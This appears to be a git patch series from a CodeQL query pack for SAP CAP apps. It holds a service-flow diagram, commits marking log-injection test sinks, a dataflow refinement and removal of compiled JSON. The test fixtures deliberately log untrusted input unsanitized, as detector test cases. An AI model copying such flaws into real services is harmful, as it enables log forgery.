+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 230px; margin-left: 184px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                <font style="font-size: 11px;">messageToPass: String</font>
+                            </div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="243" y="234" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">messageToPass: String</text>
+            </switch>
+        </g>
+        <rect x="0" y="0" width="100" height="40" rx="6" ry="6" fill="#fc0356" stroke="rgb(0, 0, 0)"
+            pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 20px; margin-left: 1px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">OData
+                                exposed</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="50" y="24" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">OData exposed</text>
+            </switch>
+        </g>
+        <rect x="248" y="170" width="130" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 185px; margin-left: 313px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service1.on("send1")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="313" y="188" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service1.on("send1")</text>
+            </switch>
+        </g>
+        <rect x="453" y="140" width="235" height="160" rx="8" ry="8" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="473" y="170" width="205" height="110" rx="5.5" ry="5.5" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="617" y="140" width="70" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 155px; margin-left: 652px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="652" y="159" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Service2</text>
+            </switch>
+        </g>
+        <rect x="487" y="80" width="120" height="40" rx="6" ry="6" fill="#fc0356"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <rect x="502" y="85" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 100px; margin-left: 547px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">action:
+                                send2</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="547" y="104" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">action: send2</text>
+            </switch>
+        </g>
+        <path d="M 547 120 L 547 193.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 547 198.88 L 543.5 191.88 L 547 193.63 L 550.5 191.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="488" y="200" width="120" height="60" rx="9" ry="9" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 230px; margin-left: 489px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                <font style="font-size: 11px;">messageToPass: String</font>
+                            </div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="548" y="234" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">messageToPass: String</text>
+            </switch>
+        </g>
+        <rect x="548" y="170" width="130" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 185px; margin-left: 613px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2.on("send2")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="613" y="188" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service2.on("send2")</text>
+            </switch>
+        </g>
+        <path d="M 548 260 L 548 323.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 548 328.88 L 544.5 321.88 L 548 323.63 L 551.5 321.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="498" y="330" width="100" height="40" rx="6" ry="6" fill="rgb(255, 255, 255)"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 350px; margin-left: 499px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">
+                                STDOUT</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="548" y="353" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">STDOUT</text>
+            </switch>
+        </g>
+        <path d="M 243 260 L 243 350 L 418 350 L 418 60 L 547 60 L 547 72.13" fill="none"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke" />
+        <path d="M 547 78.88 L 542.5 69.88 L 547 72.13 L 551.5 69.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="262" y="320" width="140" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 335px; margin-left: 332px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 11px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">
+                                Service2.send("send2")</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="332" y="338" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="11px"
+                    text-anchor="middle">Service2.send("send2")</text>
+            </switch>
+        </g>
+        <rect x="0" y="50" width="100" height="40" rx="6" ry="6" fill="#0390fc"
+            stroke="rgb(0, 0, 0)" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 70px; margin-left: 1px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">Internal
+                                only</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="50" y="74" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Internal only</text>
+            </switch>
+        </g>
+        <path d="M 243 37 L 243 73.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 243 78.88 L 239.5 71.88 L 243 73.63 L 246.5 71.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="198" y="7" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 22px; margin-left: 243px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">Outside
+                                actor</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="243" y="26" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Outside actor</text>
+            </switch>
+        </g>
+        <path d="M 547 30 L 547 73.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10"
+            pointer-events="stroke" />
+        <path d="M 547 78.88 L 543.5 71.88 L 547 73.63 L 550.5 71.88 Z" fill="rgb(0, 0, 0)"
+            stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all" />
+        <rect x="503" y="5" width="90" height="30" fill="none" stroke="none" pointer-events="all" />
+        <g transform="translate(-0.5 -0.5)">
+            <switch>
+                <foreignObject pointer-events="none" width="100%" height="100%"
+                    requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"
+                    style="overflow: visible; text-align: left;">
+                    <div xmlns="http://www.w3.org/1999/xhtml"
+                        style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 20px; margin-left: 548px;">
+                        <div data-drawio-colors="color: rgb(0, 0, 0); "
+                            style="box-sizing: border-box; font-size: 0px; text-align: center;">
+                            <div
+                                style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">Outside
+                                actor</div>
+                        </div>
+                    </div>
+                </foreignObject>
+                <text x="548" y="24" fill="rgb(0, 0, 0)" font-family="Helvetica" font-size="12px"
+                    text-anchor="middle">Outside actor</text>
+            </switch>
+        </g>
+    </g>
+    <switch>
+        <g requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" />
+        <a transform="translate(0,-5)"
+            xlink:href="https://www.diagrams.net/doc/faq/svg-export-text-problems" target="_blank">
+            <text text-anchor="middle" font-size="10px" x="50%" y="100%">Text is not SVG - cannot
+                display</text>
+        </a>
+    </switch>
+</svg>
\ No newline at end of file

From ecdb36f39bde6639ad0ad1fd1b721c21ace15ab3 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 18 Mar 2024 18:14:37 -0700
Subject: [PATCH 59/86] Add inline comment to signal CAP/vanilla log injection
 sinks

Co-authored-by: Mauro Baluda <mbaluda@github.com>
---
 .../log-injection-not-depending-on-request/srv/service2.js      | 2 +-
 .../log-injection-with-complete-protocol-none/srv/service2.js   | 2 +-
 .../log-injection-with-service1-protocol-none/srv/service2.js   | 2 +-
 .../log-injection-with-service2-protocol-none/srv/service2.js   | 2 +-
 .../log-injection-without-protocol-none/srv/service2.js         | 2 +-
 5 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js
index bdc33f1d0..d4e0aa1e9 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js
@@ -6,6 +6,6 @@ module.exports = cds.service.impl(() => {
     this.on("Received2", async (msg) => {
         const { messageToPass } = msg.data;
         /* A log injection sink. */
-        LOG.info("Received: ", messageToPass);
+        LOG.info("Received: ", messageToPass);  // CAP log injection alert
   });
 })
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js
index 3874498a8..2e7546123 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js
@@ -6,6 +6,6 @@ module.exports = cds.service.impl(function() {
     this.on("send2", async (msg) => {
         const { messageToPass } = msg.data;
         /* A log injection sink. */
-        LOG.info("Received: ", messageToPass);
+        LOG.info("Received: ", messageToPass); // CAP log injection alert
   });
 })
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js
index 3874498a8..2e7546123 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js
@@ -6,6 +6,6 @@ module.exports = cds.service.impl(function() {
     this.on("send2", async (msg) => {
         const { messageToPass } = msg.data;
         /* A log injection sink. */
-        LOG.info("Received: ", messageToPass);
+        LOG.info("Received: ", messageToPass); // CAP log injection alert
   });
 })
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js
index 8003f9c96..4fcca1407 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js
@@ -6,6 +6,6 @@ module.exports = cds.service.impl(function() {
     this.on("send2", async (msg) => {
         const { messageToPass } = msg.data;
         /* A log injection sink. */
-        LOG.info("Received: ", messageToPass);
+        LOG.info("Received: ", messageToPass); // CAP log injection alert
     });
 })
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js
index 3874498a8..2e7546123 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js
@@ -6,6 +6,6 @@ module.exports = cds.service.impl(function() {
     this.on("send2", async (msg) => {
         const { messageToPass } = msg.data;
         /* A log injection sink. */
-        LOG.info("Received: ", messageToPass);
+        LOG.info("Received: ", messageToPass); // CAP log injection alert
   });
 })

From eb5b49ebc2a56f327db1eb16728e90f3d1f8bd69 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 20 Mar 2024 14:27:06 -0700
Subject: [PATCH 60/86] Fix `log-injection-not-depending-on-request`

---
 .../log-injection-not-depending-on-request/srv/service1.js      | 1 +
 .../log-injection-not-depending-on-request/srv/service2.js      | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js
index 681b024b9..45ab74163 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js
@@ -5,6 +5,7 @@ module.exports = class Service1 extends cds.ApplicationService {
     init() {
         this.on("send1", async (req) => { // req is not used at all
             let datetime = new Date();
+            const Service2 = await cds.connect.to("service-2");
             Service2.send("send2", { messageToPass: datetime.toString() });
         });
     }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js
index d4e0aa1e9..9eda0e953 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js
@@ -3,7 +3,7 @@ const LOG = cds.log("logger");
 
 module.exports = cds.service.impl(() => {
     /* Log upon receiving an "Received2" event. */
-    this.on("Received2", async (msg) => {
+    this.on("send2", async (msg) => {
         const { messageToPass } = msg.data;
         /* A log injection sink. */
         LOG.info("Received: ", messageToPass);  // CAP log injection alert

From 06b685f392655d076cbdb7c7c13783306440bc00 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 20 Mar 2024 14:28:07 -0700
Subject: [PATCH 61/86] Restrict search space to the same application

---
 .../javascript/frameworks/cap/Application.qll |  8 ++-
 .../frameworks/cap/dataflow/FlowSteps.qll     | 67 ++++++++++---------
 2 files changed, 44 insertions(+), 31 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/Application.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/Application.qll
index 76b53cf6d..1082c1bb9 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/Application.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/Application.qll
@@ -14,6 +14,12 @@ class RootDirectory extends Folder {
    * Gets the path of a file relative to this root directory.
    */
   string getFilePathRelativeToRoot(File file) {
-    result = file.getAbsolutePath().regexpReplaceAll(this.getAbsolutePath(), ".")
+    result = file.getAbsolutePath().regexpReplaceAll(this.getAbsolutePath(), ".") and
+    result.charAt(0) = "."
   }
+
+  /**
+   * Holds if this root directory of the application contains the given file.
+   */
+  predicate contains(File file) { exists(this.getFilePathRelativeToRoot(file)) }
 }
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll
index 5b86a1345..b95ad0399 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/FlowSteps.qll
@@ -11,36 +11,43 @@ import advanced_security.javascript.frameworks.cap.dataflow.DataFlow
  */
 class InterServiceCommunicationStepFromSenderToReceiver extends DataFlow::SharedFlowStep {
   override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
-    exists(InterServiceCommunication communication, string communicationEventName |
-      pred = communication.getCommunicationMethodCall().getArgument(1) and
-      communicationEventName =
-        communication
-            .getCommunicationMethodCall()
-            .getArgument(0)
-            .getALocalSource()
-            .asExpr()
-            .(StringLiteral)
-            .getValue() and
-      succ =
-        communication
-            .getRecipient()
-            .getDefinition()
-            .getHandlerRegistration(communicationEventName)
-            .getHandler()
-            .getParameter(0)
-    )
-    or
-    exists(InterServiceCommunication communication, string communicationEventName |
-      succ = communication.getCommunicationMethodCall().getArgument(1) and
-      communicationEventName =
-        communication
-            .getCommunicationMethodCall()
-            .getArgument(0)
-            .getALocalSource()
-            .asExpr()
-            .(StringLiteral)
-            .getValue() and
-      pred = any(PropWrite write | write.getBase() = succ).getRhs()
+    (
+      exists(InterServiceCommunication communication, string communicationEventName |
+        pred = communication.getCommunicationMethodCall().getArgument(1) and
+        communicationEventName =
+          communication
+              .getCommunicationMethodCall()
+              .getArgument(0)
+              .getALocalSource()
+              .asExpr()
+              .(StringLiteral)
+              .getValue() and
+        succ =
+          communication
+              .getRecipient()
+              .getDefinition()
+              .getHandlerRegistration(communicationEventName)
+              .getHandler()
+              .getParameter(0)
+      )
+      or
+      exists(InterServiceCommunication communication, string communicationEventName |
+        succ = communication.getCommunicationMethodCall().getArgument(1) and
+        communicationEventName =
+          communication
+              .getCommunicationMethodCall()
+              .getArgument(0)
+              .getALocalSource()
+              .asExpr()
+              .(StringLiteral)
+              .getValue() and
+        pred = any(PropWrite write | write.getBase() = succ).getRhs()
+      )
+    ) and
+    /* Restrict search space to the same application. */
+    exists(RootDirectory rootDirectory |
+      rootDirectory.contains(pred.getFile()) and
+      rootDirectory.contains(succ.getFile())
     )
   }
 }

From 3f668c3939f9dfce465a6bd3676bd9aad4beb3a6 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 20 Mar 2024 15:13:27 -0700
Subject: [PATCH 62/86] Untrack `.json` files compiled from `.cds` files

---
 .../srv/service1.json                         | 70 -------------------
 1 file changed, 70 deletions(-)
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.json

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.json
deleted file mode 100644
index f9bd8754e..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.json
+++ /dev/null
@@ -1,70 +0,0 @@
-{
-  "definitions": {
-    "Service1": {
-      "@source": "srv/service1.cds",
-      "kind": "service",
-      "@path": "/service-1"
-    },
-    "Service1.Service1Entity": {
-      "kind": "entity",
-      "projection": {
-        "from": {
-          "ref": [
-            "advanced_security.log_injection.sample_entities.Entity1"
-          ]
-        },
-        "excluding": [
-          "Attribute2"
-        ]
-      },
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "Service1.send1": {
-      "kind": "action",
-      "params": {
-        "messageToPass": {
-          "type": "cds.String"
-        }
-      },
-      "returns": {
-        "type": "cds.String"
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file

From a3f5099b7b80d04b41ff4590f3352e894e4c1383 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 20 Mar 2024 15:14:37 -0700
Subject: [PATCH 63/86] Untrack `.json` files compiled from `.cds` files

---
 .../srv/service2.json                         | 71 -------------------
 .../srv/service1.json                         | 71 -------------------
 .../srv/service2.json                         | 71 -------------------
 .../srv/service1.json                         | 71 -------------------
 .../srv/service2.json                         | 70 ------------------
 .../srv/service1.json                         | 70 ------------------
 .../srv/service2.json                         | 71 -------------------
 .../srv/service1.json                         | 70 ------------------
 .../srv/service2.json                         | 70 ------------------
 9 files changed, 635 deletions(-)
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.json
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.json
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.json
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.json
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.json

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.json
deleted file mode 100644
index a7e41e79f..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.json
+++ /dev/null
@@ -1,71 +0,0 @@
-{
-  "definitions": {
-    "Service2": {
-      "@source": "srv/service2.cds",
-      "kind": "service",
-      "@protocol": "none",
-      "@path": "/service-2"
-    },
-    "Service2.Service2Entity": {
-      "kind": "entity",
-      "projection": {
-        "from": {
-          "ref": [
-            "advanced_security.log_injection.sample_entities.Entity2"
-          ]
-        },
-        "excluding": [
-          "Attribute4"
-        ]
-      },
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "Service2.send2": {
-      "kind": "action",
-      "params": {
-        "messageToPass": {
-          "type": "cds.String"
-        }
-      },
-      "returns": {
-        "type": "cds.String"
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
